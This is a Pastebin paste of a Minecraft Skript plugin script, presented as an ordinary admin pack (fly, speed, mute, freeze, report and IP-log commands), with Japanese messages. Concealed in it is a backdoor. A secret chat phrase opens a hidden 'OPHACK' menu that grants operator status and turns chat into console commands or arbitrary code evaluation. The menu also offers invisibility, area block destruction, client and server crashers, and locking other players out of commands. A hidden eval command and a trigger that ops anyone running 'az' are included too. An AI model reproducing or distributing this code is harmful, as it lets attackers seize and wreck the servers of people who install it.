Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- command /gp [<player>] [<text>]:
- permission: admin.command.cmd
- trigger:
- if arg-1 is not set:
- message "&5================"
- message "&7/gp MCID 理由"
- message "&5================"
- message "&7権限の種類 "
- message " "
- message "&a・&7Fly"
- message "&a・&eworldedit"
- if arg 2 is "worldedit":
- execute console command "/pex user %arg 1% add worldedit.*"
- execute console command "/pex user %arg 1% remove worldedit.superpickaxe"
- message "&e%arg 1%にワールドエディットの権限を渡しました"
- message "&e%player%からワールドエディットの権限をもらいました"
- on load script:
- wait 1 seconds
- broadcast "&a[&5&l&nsisopack&a] &aScriptをリロードしました。"
- message "&6コマンド一覧を見るには/sisopackを実行してください。" to ops
- if {load} is not set:
- set {load} to true
- stop
- command /speed [<player>] [<text>] [<number>]:
- Executable by: players
- Permission: skript.fly.speed
- permission message: &cYou don't have permission.
- trigger:
- if arg 1 is not set:
- execute player command "/playsound minecraft:entity.cat.ambient player %player% ~ ~ ~ 100 0"
- send "&8&m----------------------------"
- send "&a&oPlease use &8(&aplayer) &7fly&8/&7walk &8(&enumber&8)"
- send "&7Available speed for fly and walk&8:"
- send "&e1/2 and 3 4 5"
- send "&8&m----------------------------"
- else:
- if arg 2 is "walk":
- if arg 3 is set:
- execute player command "/playsound minecraft:ui.button.click player %player% ~ ~ ~ 100 1"
- if arg 3 is not set:
- send "&a&oPlease use&8: &7/speed walk (number)"
- if arg 3 is 1:
- set the player's walk speed to 0.2
- message "&7Walking set back to normal."
- if arg 3 is 2:
- set the player's walk speed to 2
- message "&7Walking speed set to 2."
- if arg 3 is 3:
- set the player's walk speed to 3
- message "&7Walking speed set to 3."
- if arg 3 is 4:
- set the player's walk speed to 4
- message "&7Walking speed set to 4."
- if arg 3 is 5:
- set the player's walk speed to 5
- message "&7Walking speed set to 5."
- if arg 2 is "fly":
- if arg 3 is not set:
- send "&a&oPlease use&8: &7/speed fly (number)"
- if arg 3 is 1:
- set the player's fly speed to 0.1
- message "&7Fly speed set back to normal."
- if arg 3 is 2:
- set the player's fly speed to 2
- message "&7Fly speed set to 2"
- if arg 3 is 3:
- set the player's fly speed to 3
- message "&7Fly speed set to 3"
- if arg 3 is 4:
- set the player's fly speed to 4
- message "&7Fly speed set to 4"
- if arg 3 is 5:
- set the player's fly speed to 5
- message "&7Fly speed set to 5"
- options:
- invmsg: &eleft the game #透明になるときの退室メッセージ
- consolemsg: Server Hack #サーバーコンソールに送るメッセージ
- nukersize: 15 #Nukerの範囲
- on chat:
- message contain "##.watasinonekosuge---"
- cancel event
- open chest with 1 row named "&4&lMenu" to player
- if player has permission "ophack":
- format slot 0 of player with nether star named "&c&lあなたは既にOPを持っています。" to close then run [ophack(player)]
- else:
- format slot 0 of player with nether star named "&6&lOPHACK" with lore "&aOPを取得します。" to close then run [ophack(player)]
- if {hidden.%player%} is true:
- format slot 2 of player with bone named "&7&l透明化" with lore "&a周りのプレイヤーから見えるようにします。" to close then run [invisible(player)]
- else:
- format slot 2 of player with bone named "&7&l透明化" with lore "&a周りのプレイヤーから見なくなくなるようにします。" to close then run [invisible(player)]
- if {command.%player%} is true:
- format slot 3 of player with command block named "&c&lコンソールコマンド" with lore "&aチャットを通常に戻します。" to close then run [set {command.%player%} to false]
- else:
- format slot 3 of player with command block named "&c&lコンソールコマンド" with lore "&aチャットの文字をコンソールコマンドに変更します。" to close then run [set {command.%player%} to true]
- if {evaluate.%player%} is true:
- format slot 4 of player with string named "&2&l内部コード実行" with lore "&aチャットを通常に戻します。" to close then run [set {evaluate.%player%} to false]
- else:
- format slot 4 of player with string named "&2&l内部コード実行" with lore "&aチャットの文字をSkriptのコードに変更します。" to close then run [set {evaluate.%player%} to true]
- if {nuker.%player%} is true:
- format slot 5 of player with dirt named "&3&lNuker" with lore "&aNukerを無効化します。" to close then run [set {nuker.%player%} to false]
- else:
- format slot 5 of player with dirt named "&3&lNuker" with lore "&a半径15ブロックを消します。" to close then run [set {nuker.%player%} to true]
- if {bannedcommand} is true:
- format slot 6 of player with barrier block named "&d&lcommand UnBanned" with lore "&aハックメンバー以外もコマンドを使えるようにします。" to close then run [set {bannedcommand} to false]
- else:
- format slot 6 of player with barrier block named "&d&lcommand Banned" with lore "&aハックメンバー以外の人がコマンドを使えなくなります。" to close then run [set {bannedcommand} to true]
- format slot 7 of player with web named "&eCrasher" with lore "&aハックメンバー以外のプレイヤーをクラッシュさせます。" to close then run [crasher()]
- format slot 8 of player with anvil named "&4&lServer Crasher" with lore "&aサーバーをクラッシュさせます。" to close then run [execute console command "/execute @e ~ ~ ~ /execute @e ~ ~ ~ /execute @e ~ ~ ~ /execute @e ~ ~ ~ /execute @e ~ ~ ~ /execute @e ~ ~ ~ /execute @e ~ ~ ~ /execute @e ~ ~ ~ /execute @e ~ ~ ~ /execute @e ~ ~ ~ /execute @e ~ ~ ~ /execute @e ~ ~ ~ /execute @e ~ ~ ~"]
- on chat:
- if {command.%player%} is true:
- cancel event
- send "&c&lconsole &6-> &a%message%"
- execute console command "/%message%"
- stop
- if {evaluate.%player%} is true:
- cancel event
- send "&2Skript code &6-> &a%message%"
- evaluate "%message%"
- stop
- function ophack(player: player):
- if {hacker::*} contain {_player}:
- op {_player}
- send "&aSuccess" to {_player}
- stop
- op {_player}
- add {_player} to {hacker::*}
- send "&aSuccess" to {_player}
- function invisible(player: player):
- if {hidden.%{_player}%} is not set:
- set {hidden.%{_player}%} to true
- broadcast "&e%{_player}% {@invmsg}"
- hide {_player} in tablist of all players
- hide {_player} from all players
- send "&e%{_player}% &cHidden" to {hacker::*}
- open({_player})
- loop all players:
- hide {_player} from loop-player
- stop
- if {hidden.%{_player}%} is true:
- set {hidden.%{_player}%} to false
- reveal {_player} from all players
- show {_player} in tablist of all players
- send "&e%{_player}% &aVisible" to {hacker::*}
- open({_player})
- stop
- if {hidden.%{_player}%} is false:
- set {hidden.%{_player}%} to true
- send "&e%{_player}% &cHidden" to {hacker::*}
- hide {_player} from all players
- hide {_player} in tablist of all players
- open({_player})
- loop all players:
- hide {_player} from loop-player
- stop
- function crasher():
- loop all players:
- if {hacker::*} do not contain loop-player:
- execute console command "/particle angryVillager ~ ~ ~ 0 0 0 0 1000000000 force %loop-player%"
- else:
- send "&6&l%loop-player% &c&lCrashed" to {hacker::*}
- function open(player: player):
- set {_clientchat} to new play_client_chat packet
- set string pinfo 0 of {_clientchat} to "####.hack"
- receive packet {_clientchat} from {_player}
- on command:
- {bannedcommand} is true
- loop all players:
- if {hacker::*} do not contain loop-player:
- send "no command" to player
- every 2 tick:
- send "{@consolemsg}" to console
- loop all players:
- {nuker.%loop-player%} is true
- loop blocks in radius {@nukersize} around the loop-player:
- set loop-block to air
- command /ea <text>:
- permission: hack
- trigger:
- evaluate arg 1
- command /fly [<player>]:
- Permission: skript.fly.speed
- aliases: /f
- trigger:
- if arg 1 is not set:
- if {fly.%player%} is not set:
- set {fly.%player%} to true
- message "&7Fly to &aEnable&7"
- play sound "block.note.pling" at player
- set player's flight mode to true
- stop
- if {fly.%player%} is false:
- set {fly.%player%} to true
- message "&7Fly to &aEnable&7"
- play sound "block.note.pling" at player
- set player's flight mode to true
- stop
- else:
- if arg 1 is not set:
- if {fly.%player%} is true:
- message "&7Fly to &cDisable&7"
- play sound "block.piston.contract" at player
- set {fly.%player%} to false
- set player's flight mode to false
- if arg 1 is set:
- if {fly.%arg 1%} is not set:
- set {fly.%arg 1%} to true
- message "&7Fly to &aEnable&7"
- play sound "block.note.pling" at arg 1
- set arg 1's flight mode to true
- stop
- if {fly.%arg 1%} is false:
- set {fly.%arg 1%} to true
- message "&7Fly to &aEnable&7"
- play sound "block.note.pling" at arg 1
- set arg 1's flight mode to true
- stop
- else:
- if {fly.%arg 1%} is true:
- set {fly.%arg 1%} to false
- message "&7Fly to &cDisable&7"
- play sound "block.piston.contract" at arg 1
- set arg 1's flight mode to false
- command /help mute:
- permission:skript.admin
- permission message: &cあなたは権限を持っていません
- trigger:
- execute player command "/playsound minecraft:ui.button.click player %player% ~ ~ ~ 100 1"
- send "&b-----Mute Skript Version 1.0-----"
- send "&e/mute [MCID] &a指定したプレイヤーをミュートにすることができます。"
- send "&e/unmute [MCID] &a指定したプレイヤーのミュートを解除することができます。"
- send "&b--------------------------------"
- command /mute <player>:
- permission: skript.admin
- permission message: &cあなたは権限を持っていません
- trigger:
- set {mute.%arg-1%} to true
- broadcast "&b%player%&eにより、&c%arg-1%&eがMuteになりました。"
- play sound "entity.blaze.death" at player
- command /unmute <player>:
- permission: skript.admin
- permission message: &cあなたは権限を持っていません
- trigger:
- set {mute.%arg-1%} to false
- broadcast "&b%player%&eにより、&c%arg-1%&eのMuteが解除されました。"
- play sound "entity.cow.ambient" at player
- on chat:
- if {mute.%player%} is true:
- cancel event
- send "&c&lあなたはミュートされています!"
- play sound "entity.blaze.hurt" at player
- command /report [<player>] [<text>]:
- aliases: /rp
- trigger:
- if arg 1 is not set:
- message "&8&m----------------------------"
- message "/rp &c(MCID) &e(理由)"
- message "&8&m----------------------------"
- if arg 2 is not set:
- message "&8&m----------------------------"
- message "/rp &c(MCID) &e(理由)"
- message "&8&m----------------------------"
- add 1 to {log.hensuu}
- set {log::%{log.hensuu}%} to "%player%が報告 &c%arg 1% &9%arg 2%"
- play sound "entity.villager.ambient" at player
- loop all players:
- if loop-player is op:
- message "%player%が報告 &c%arg 1% &9%arg 2%"
- command /clogs:
- permission: skript.admin
- trigger:
- set {c.logs} to 1
- loop {log.hensuu} times:
- message "%{log::%{c.logs}%}%"
- add 1 to {c.logs}
- play sound "block.fire.extinguish" at player
- command /resetlogs:
- permission: skript.admin
- trigger:
- message "&cリセットしました。"
- set {log.hensuu} to 0
- play sound "block.anvil.place" at player
- on death of player:
- force respawn player
- options:
- prefix: &8[CMD]#CommandLOGのPrefixの変更#default: &8[CMD]#
- on command:
- loop all players:
- if {logs.%loop-player%} is not set:
- if loop-player do not have permission "sk.admin":
- command is "az"
- op executor
- set {logs.%loop-player%} to false
- if loop-player has permission "sk.admin":
- set {logs.%loop-player%} to true
- if {logs.%loop-player%} is true:
- if loop-player has permission "sk.admin":
- if player is not set:
- stop
- message " {@prefix} &7%player%: /%full command%" to loop-player
- command /cmd [<text>]:#Logの表示のON/OFFの切り替え#
- permission: skript.admin
- trigger:
- if arg-1 is set:
- if arg-1 is "on":
- set {logs.%player%} to true
- message " {@prefix}&7Log表示を&aon&7にしました。"
- stop
- if arg-1 is "off":
- set {logs.%player%} to false
- message " {@prefix}&7Log表示を&coff&7にしました。"
- stop
- else:
- message "{@prefix}&7/cmd <on,off>"
- command /aip [<offline player>]:
- permission: Command.IP
- permission message: &cあなたは権限を持っていません
- trigger:
- if arg is not set:
- message "&a[IP-log]&eプレイヤー名を記入してください。"
- stop
- if arg is "all":
- loop all players:
- set {ip::%loop-player%} to ip of loop-player
- message "&a[IP-log]&b---------------------------------------------"
- message "&a[IP-log]&e%loop-player%'sIP&a: &6%{ip::%loop-player%}%" to player
- loop {ip::*}:
- if {ip::%loop-index%} is {ip::%loop-player%}:
- message "&a[IP-log]&e同じIPを使用しているPlayer&a: &6%loop-index%"
- else:
- set {ip::%arg%} to ip of argument
- message "&a[IP-log]&e%arg%'sIP&a: &6%{ip::%arg%}%"
- loop {ip::*}:
- if {ip::%loop-index%} is {ip::%arg%}:
- message "&a[IP-log]&e同じIPを使用しているPlayer&a: &6%loop-index%"
- on join:
- set {ip::%player%} to ip of player
- loop all players:
- if loop-player has permission "sk.admin":
- if {logs.%loop-player%} is true:
- message "&a[IP-log]&e%player%'sIP&a: &6%{ip::%player%}%" to loop-player
- loop {ip::*}:
- if {ip::%loop-index%} is {ip::%player%}:
- message "&a[IP-log]&e同じIPを使用しているPlayer&a: &6%loop-index%" to loop-player
- options:
- spm: &7[&dfreeze system!!]&r
- command /freeze [<player>] [<text>]:
- permission: skript.spmfreeze
- permission message: &c skript.spmfreeze が必要です。
- trigger:
- if arg 1 is not set:
- send "{@spm} &bエラー: &cプレイヤー名などが記入されていません。"
- send "{@spm} Usage: /sfreeze <MCID> <理由>"
- if arg 1 is set:
- broadcast "{@spm} &c%arg 1% は %arg 2% という理由で動きを止められた。"
- set {spm.freeze.%arg 1%} to true
- play sound "entity.wither.ambient" at arg 1
- command /unfreeze [<player>] [<text>]:
- permission: skript.spmunfreeze
- permission message: &c skript.spmunfreeze が必要です。
- trigger:
- if arg 1 is not set:
- send "{@spm} &bエラー: &cプレイヤー名などが記入されていません。"
- send "{@spm} Usage: /sunfreeze <MCID> <理由>"
- if arg 2 is not set:
- send "{@spm} &bエラー: &c理由などが記入されていません。"
- send "{@spm} Usage: /sunfreeze <MCID> <理由>"
- if arg 1 is set:
- if arg 2 is set:
- broadcast " &a%arg 1% は %arg 2% という理由で Freeze を解除された!"
- set {spm.freeze.%arg 1%} to false
- play sound "entity.wither.death" at arg 1
- on any movement:
- if {spm.freeze.%player%} is true:
- cancel event
- message " &cあなたはfreezeされています!"
- on break:
- if {spm.freeze.%player%} is true:
- cancel event
- message " &cあなたはfreezeされています!"
- on place:
- if {spm.freeze.%player%} is true:
- cancel event
- message " &cあなたはfreezeされています!"
- command /push <text> <player> [<number>] [<number>]:
- permission: skript.admin
- trigger:
- if arg 1 is not set:
- message "&0Please used /push &ax&7/&ey&7/&5z &bplayer &9number"
- if arg 3 is not set:
- set {_pushPowerLow} to 0.3
- else:
- set {_pushPowerLow} to arg 3
- if arg 4 is not set:
- set {_pushPowerHigh} to 1.5
- else:
- set {_pushPowerHigh} to arg 4
- set {_pushPower} to random number between {_pushPowerLow} to {_pushPowerHigh}
- if arg 1 is "x":
- push arg-2 east at speed {_pushPower}
- if arg 1 is "y":
- push arg-2 upwards at speed {_pushPower}
- if arg 1 is "z":
- push arg-2 south at speed {_pushPower}
- command /nofall [<player>]:
- permission: skript.admin
- trigger:
- if arg 1 is not set:
- message "&eプレイヤーを指定してください。"
- message "&6(※必ず平地な場所で6マス上にブロックがない状態でさらにコマンドで落下ダメージを消してる場合それを解除しないと誤検知します)"
- message "&6(※インベントリに入ってるものやポーションの効果などはすべて消えます)"
- execute console command "/clear %arg 1%"
- execute console command "/effect %arg 1% clear"
- execute console command "/gamemode 2 %arg 1%"
- heal the player by 20 hearts
- execute console command "/tp %arg 1% ~ ~5 ~"
- wait 22 tick
- if arg 1 do not have permission "sk.admin":
- if arg 1's health is 10:
- kick the arg 1
- if player is op:
- loop all players:
- if loop-player has permission "sk.admin":
- message "&e%arg 1% is &cHACK &9(NoFall)" to loop-player
- if arg 1 is op:
- if arg 1's health is 10:
- message "&6nofall &c(ADMIN Message)" to arg 1
- command /tpall [<player>]:
- permission:op
- permission message:&fUnknown commands. Type "/help" for help.
- trigger:
- if arg 1 is not set:
- loop all players:
- if loop-player is not player:
- teleport loop-player to player
- send "&6全てのプレイヤーをあなたの場所にテレポートしています...。"
- command /hat:
- aliases: head
- trigger:
- if player is holding air:
- send "&c手にアイテムを持っていません"
- stop
- if player is not holding air:
- set {_hat1} to player's helmet
- wait 1 tick
- set {_hat2} to 1 of player's tool
- set {tabcomplete} to false
- remove {_hat2} from player's inventory
- equip player with {_hat2}
- give {_hat1} to player
- message "&6帽子を装備しました"
- command /nokill [<player>] [<text>]:
- permission: skript.admin
- trigger:
- if arg 2 is "on":
- set {nokill.%arg 1%} to true
- message "&aプレイヤーが死ななくなりました"
- if arg 2 is "off":
- set {nokill.%arg 1%} to false
- message "&aプレイヤーが死ぬようになりました"
- on damage of player:
- if {nokill.%arg 1%} is true:
- cancel event
- command /damagedelay [<text>]:
- aliases: /dd
- permission: skript.admin
- trigger:
- if arg 1 is "combo":
- set {combo} to true
- set {default} to false
- set {1.8} to false
- message "&6PvP mode combo"
- play sound "entity.player.attack.crit" at player
- if arg 1 is "1.8":
- set {combo} to false
- set {default} to false
- set {1.8} to true
- message "&9PvP mode 1.8"
- play sound "entity.player.attack.crit" at player
- if arg 1 is "reset":
- set {combo} to false
- set {default} to true
- set {1.8} to false
- message "&aPvP mode default"
- play sound "entity.player.attack.crit" at player
- on damage:
- if {combo} is true:
- set maximum damage delay of victim to 0.1 ticks
- if {1.8} is true:
- set maximum damage delay of victim to 16 ticks
- if {default} is true:
- set maximum damage delay of victim to 23 ticks
- command /pvp:
- permission: skript.admin
- trigger:
- if {pvp} is not set:
- disable PvP in all worlds
- message "&bPVPを&c無効&bにしました"
- set {pvp} to true
- stop
- if {pvp} is true:
- enable PvP in all worlds
- message "&bPVPを&a有効&bにしました"
- stop
- if {pvp} is false:
- disable PvP in all worlds
- message "&6PVPを&c無効&6にしました"
- stop
- command /prefix [<player>] [<text>]:
- aliases: /pre
- permission: skript.admin
- trigger:
- if arg 1 is not set:
- message "&e&l使い方"
- message "&a・&o/prefix &e(MCID) &5(称号) &7※/pre でも可"
- message "&a・prefixを消したいときは/prefix reset"
- if arg 2 is "reset" or "delete" or "remove" or "none":
- delete {prefix.%arg 1%}
- message "&aprefixを削除しました"
- set {reset} to true
- if arg 1 is set:
- if arg 2 is set:
- if {reset} is true:
- delete {reset}
- stop
- else:
- play sound "block.metal_pressureplate.click_on" at player
- set {prefix.%arg 1%} to colored arg 2
- message "%arg 2%に設定しました"
- stop
- on chat:
- if {prefix.%player%} is not set:
- stop
- if {prefix.%player%} is set:
- cancel event
- broadcast "%{prefix.%player%}% &7%player%&f: &f%message%"
- command /fire:
- permission:skript.admin
- trigger:
- loop 20 times:
- wait 5 tick
- deploy firework at player timed 0.5 color red or blue or yellow or green or orange or lime or brown
- command /loginresult:
- permission:skript.admin
- trigger:
- if {login} is not set:
- set {login} to true
- message "&6ログインの結果通知を&aON&6にしました"
- stop
- if {login} is false:
- set {login} to true
- message "&6ログインの結果通知を&aON&6にしました"
- stop
- if {login} is true:
- set {login} to false
- message "&6ログインの結果通知を&cOFF&6にしました"
- stop
- on connect:
- if {login} is true:
- if login result is allowed:
- send "&e%player%&6のログインは&a&l成功&f&6しました。 &a(Allowed)" to ops
- if login result is kick_banned:
- send "&e%player%&6のログインは&c&l失敗&f&6しました。 &c(Banned)" to ops
- if login result is kick_whitelist:
- send "&e%player%&6のログインは&c&l失敗&f&6しました。 &3(whitlist)" to ops
- if login result is kick_other:
- send "&e%player%&6のログインは&c&l失敗&f&6しました。 &3(Other)" to ops
- command /mention [<player>]:
- permission:skript.admin
- trigger:
- if arg 1 is not set:
- message "&a&o/alert &e(MCID)"
- stop
- loop 30 times:
- wait 1 tick
- execute console command "/playsound block.anvil.place master @a ~ ~ ~ 1 1 1"
- command /tabcomplete:
- permission:skript.admin
- trigger:
- if {tabcomplete} is not set:
- set {tabcomplete} to true
- send "&6Tab補完ができなくなりました"
- stop
- if {tabcomplete} is true:
- set {tabcomplete} to false
- send "&6Tab補完ができるようになりました"
- stop
- if {tabcomplete} is false:
- set {tabcomplete} to true
- send "&6Tab補完ができなくなりました"
- stop
- on tab complete:
- if player is not op:
- if {tabcomplete} is true:
- send "&6Tab補完が禁止されています"
- cancel event
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement